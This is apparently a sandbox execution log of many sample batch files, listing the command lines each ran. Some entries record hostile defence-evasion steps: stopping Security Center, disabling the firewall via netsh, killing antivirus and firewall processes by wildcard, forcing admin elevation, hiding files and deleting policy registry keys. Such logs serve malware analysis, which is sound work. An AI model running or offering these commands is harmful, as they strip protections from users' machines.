"C:\WINDOWS\sysnative\cmd" /c "\5109.tmp\510A.tmp\511A.bat c:\users\user\downloads\acf10261800b7fea776152012d7caadcbc416a11_0000097792"
|
C:\WINDOWS\system32\msg.exe msg * "Erreur : Le fichier Discord est obligatoire et doit contenir les bonnes informations / The file Discord is mandatory and must contain the correct information."
|
"C:\WINDOWS\sysnative\cmd" /c "\FF4.tmp\FF5.tmp\FF6.bat c:\users\user\downloads\646ad98b2ab8cf510b2ef4fd6204ce1500b77d45_0000094208"
|
C:\WINDOWS\system32\net.exe net stop ΓÇ£Security CenterΓÇ¥
|
C:\WINDOWS\system32\netsh.exe netsh firewall set opmode mode=disable
|
C:\WINDOWS\system32\tskill.exe tskill /A av*
|
C:\WINDOWS\system32\tskill.exe tskill /A fire*
|
C:\WINDOWS\system32\tskill.exe tskill /A anti*
|
C:\WINDOWS\system32\tskill.exe tskill /A spy*
|
C:\WINDOWS\system32\tskill.exe tskill /A bullguard
|
"C:\WINDOWS\sysnative\cscript" \80A7.tmp\80A8.tmp\80A9.vbs //Nologo
|
open C:\WINDOWS\sysnative\cmd /c "\4C18.tmp\4C19.tmp\4C1A.bat c:\users\user\downloads\9158371994218b3f5440f0d85f97d4cf5948f9c9_0000076800"
|
WriteConsole:
|
WriteConsole: c:\4C18.tmp>
|
WriteConsole: "SecurtyHeathSer
|
c:\4C18.tmp\securtyheathservice.exe "SecurtyHeathService.exe"
|
"C:\WINDOWS\sysnative\cmd" /c "\F431.tmp\F432.tmp\F442.bat c:\users\user\downloads\8c301368e70ac29e4b6d63245ca15961eb89261a_0000091136"
|
C:\WINDOWS\system32\netsh.exe netsh wlan delete Profile name="eduroam"
|
C:\WINDOWS\system32\netsh.exe netsh wlan add profile filename="C:\wireless\WiFi-eduroam.xml"
|
"C:\WINDOWS\sysnative\cmd" /c "\B14D.tmp\B15D.tmp\B15E.bat c:\users\user\downloads\916064be4febf2f907f7e0918e9df43ed25e548b_0000116736"
|
"C:\WINDOWS\sysnative\cmd" /c "\4216.tmp\4217.tmp\4218.bat c:\users\user\downloads\6b67be539f6c0f5d9e6520bfd013529933137bce_0000272896"
|
"C:\WINDOWS\sysnative\cmd" /c "\5AF2.tmp\5B51.tmp\5B61.bat c:\users\user\downloads\30ff8cde54cc6567ef0b67100092d1c585ae24d6_0000092672"
|
C:\WINDOWS\system32\net.exe net session
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Start-Process 'c:\Users\user\downloads\30ff8cde54cc6567ef0b67100092d1c585ae24d6_0000092672' -Verb runAs"
|
"C:\WINDOWS\sysnative\cmd" /c "\5A27.tmp\5A37.tmp\5A58.bat c:\users\user\downloads\6d13efbb7898e835b981994ae9bebb8ae0268876_0000112128"
|
C:\WINDOWS\explorer.exe Explorer ftp://informa
|
"C:\WINDOWS\sysnative\cmd" /c "\55A2.tmp\55B3.tmp\55B4.bat c:\users\user\downloads\4c38ca9c6a422f02c1ce1f7460b8d627c891b6cc_0000092160"
|
"C:\WINDOWS\sysnative\cmd" /c "\42E1.tmp\42E2.tmp\42E3.bat c:\users\user\downloads\4816fadcf00e01e862d4de2d0e54942038da2d4a_0000092672"
|
C:\WINDOWS\system32\reg.exe REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /f
|
C:\WINDOWS\system32\reg.exe REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f
|
C:\WINDOWS\system32\reg.exe REG DELETE "HKCU\Software\Policies\Microsoft\Windows\Personalization" /f
|
C:\WINDOWS\system32\reg.exe REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /f
|
C:\WINDOWS\system32\reg.exe REG DELETE "HKLM\Software\Policies\Microsoft\Windows\Personalization" /f
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-Type -Namespace WallpaperNS -Name WallpaperClass -MemberDefinition 'public class WallpaperClass { [System.Runtime.InteropServices.DllImport(\"user32.dll\"
|
"C:\WINDOWS\sysnative\cmd" /c "\4988.tmp\4999.tmp\499A.bat c:\users\user\downloads\35343bd6d59cd3ac4369bb2f922f1c19eaea62d6_0000360960"
|
C:\WINDOWS\system32\control.exe C:\WINDOWS\system32\control firewall.cpl
|
open %SystemRoot%\system32\rundll32.exe Shell32.dll,Control_RunDLL firewall.cpl
|
"C:\WINDOWS\sysnative\cmd" /c "\627.tmp\628.tmp\629.bat c:\users\user\downloads\c2b799eafc9e626756c3110dab3e1c67970c9d14_0006734848"
|
"C:\WINDOWS\sysnative\cscript" \6E89.tmp\6E8A.tmp\6E8B.vbs //Nologo
|
"C:\WINDOWS\sysnative\cmd" /c "\3E32.tmp\3E33.tmp\3E34.bat c:\users\user\downloads\e975484ce976b767fa7e370ebae11e8e7e089d79_0000093184"
|
C:\WINDOWS\system32\chcp.com chcp 1250
|
C:\WINDOWS\system32\timeout.exe timeout 3
|
C:\WINDOWS\system32\cmd.exe C:\WINDOWS\system32\cmd.exe /S /D /c" dir /a /b *.den "
|
C:\WINDOWS\system32\find.exe find /c ".den"
|
"C:\WINDOWS\sysnative\cmd" /c "\41F6.tmp\41F7.tmp\4208.bat c:\users\user\downloads\95ef95c416ead7f3636f83d251f8b3ecf38fdf43_0000363008"
|
C:\WINDOWS\system32\chcp.com chcp 1251
|
"C:\WINDOWS\sysnative\cmd" /c "\D0F3.tmp\D104.tmp\D105.bat c:\users\user\downloads\4f1ebdc88c182664315e080dbfb7ef88b88b0e72_0000099840"
|
"C:\WINDOWS\sysnative\cmd" /c "\4B7F.tmp\4B80.tmp\4B81.bat c:\users\user\downloads\ccac3b7aac9a40078723632d48710d748a98a2ed_0000091648"
|
open C:\WINDOWS\sysnative\wscript \4561.tmp\4562.tmp\4563.vbs //Nologo
|
"C:\WINDOWS\sysnative\cmd" /c "\6722.tmp\6723.tmp\6724.bat c:\users\user\downloads\a51a3e1cf8bbd569d246a2a8a47141cf5c8da217_0000122368"
|
C:\WINDOWS\system32\PING.EXE ping -n 1 www.uol.com.br
|
C:\WINDOWS\system32\find.exe find "TTL="
|
"C:\WINDOWS\sysnative\cmd" /c "\5852.tmp\5863.tmp\5864.bat c:\users\user\downloads\d0bfbc95a066dfa10ebd5204abea7ed0e71e9a0d_0000096768"
|
open C:\WINDOWS\sysnative\cmd /c "\99A4.tmp\99A5.tmp\99B6.bat c:\users\user\downloads\38e1bc03f2af7b84740626a783bc0da32ab8e085_0002046464"
|
WriteConsole: c:\users\user\do
|
WriteConsole: cd
|
WriteConsole: /d c:\Users\use
|
WriteConsole: SET
|
WriteConsole: workpath=c:\use
|
WriteConsole: CHCP
|
WriteConsole: 65001
|
WriteConsole: 1>
|
WriteConsole: NUL
|
C:\WINDOWS\system32\chcp.com CHCP 65001
|
WriteConsole: attrib
|
WriteConsole: +S +H "c:\users
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\findstr.ps1"
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\libiconv2.dll"
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\libintl3.dll"
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\usbview.exe"
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\TEST.exe"
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\showusbnumber.exe"
|
C:\WINDOWS\system32\attrib.exe attrib +S +H "c:\users\user\downloads\setwrong.cmd"
|
WriteConsole: CLS
|
WriteConsole: pushd
|
WriteConsole: "c:\users\user\
|
WriteConsole: set
|
WriteConsole: netcycle=0
|
WriteConsole: ping
|
WriteConsole: -n 1 www.baidu.
|
WriteConsole: |
|
WriteConsole: find
|
WriteConsole: /i "Received =
|
C:\WINDOWS\system32\PING.EXE ping -n 1 www.baidu.com
|
C:\WINDOWS\system32\find.exe find /i "Received = 1"
|
"C:\WINDOWS\sysnative\cmd" /c "\4CA5.tmp\4CB5.tmp\4CB6.bat c:\users\user\downloads\034a828d1793b2544b48f0229977fa12d3fbbb98_0000091648"
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-Type -AssemblyName PresentationFramework
|
"C:\WINDOWS\sysnative\cmd" /c "\C102.tmp\C103.tmp\C104.bat c:\users\user\downloads\6f31c89c6254614c79ef264d54dd72b2e77ddad9_0000091136"
|
"C:\WINDOWS\sysnative\cmd" /c "\4458.tmp\4468.tmp\4469.bat c:\users\user\downloads\4ca7ec198843a934160505cc44b9ab4bd97160ea_0000097792"
|
C:\WINDOWS\system32\msg.exe msg "Ddvrlcbi" "Failed folder name change from cncm to cncm-router"
|
C:\WINDOWS\system32\msg.exe msg "Ddvrlcbi" "Failed folder name change from cncm-plasma to cncm"
|
C:\WINDOWS\system32\cscript.exe cscript CreateShortcut.vbs
|
C:\Windows\System32\ie4uinit.exe C:\Windows\System32\ie4uinit.exe -show
|
C:\WINDOWS\system32\msg.exe msg "Ddvrlcbi" "Failed directory change"
|
226 additional execution are not displayed above.
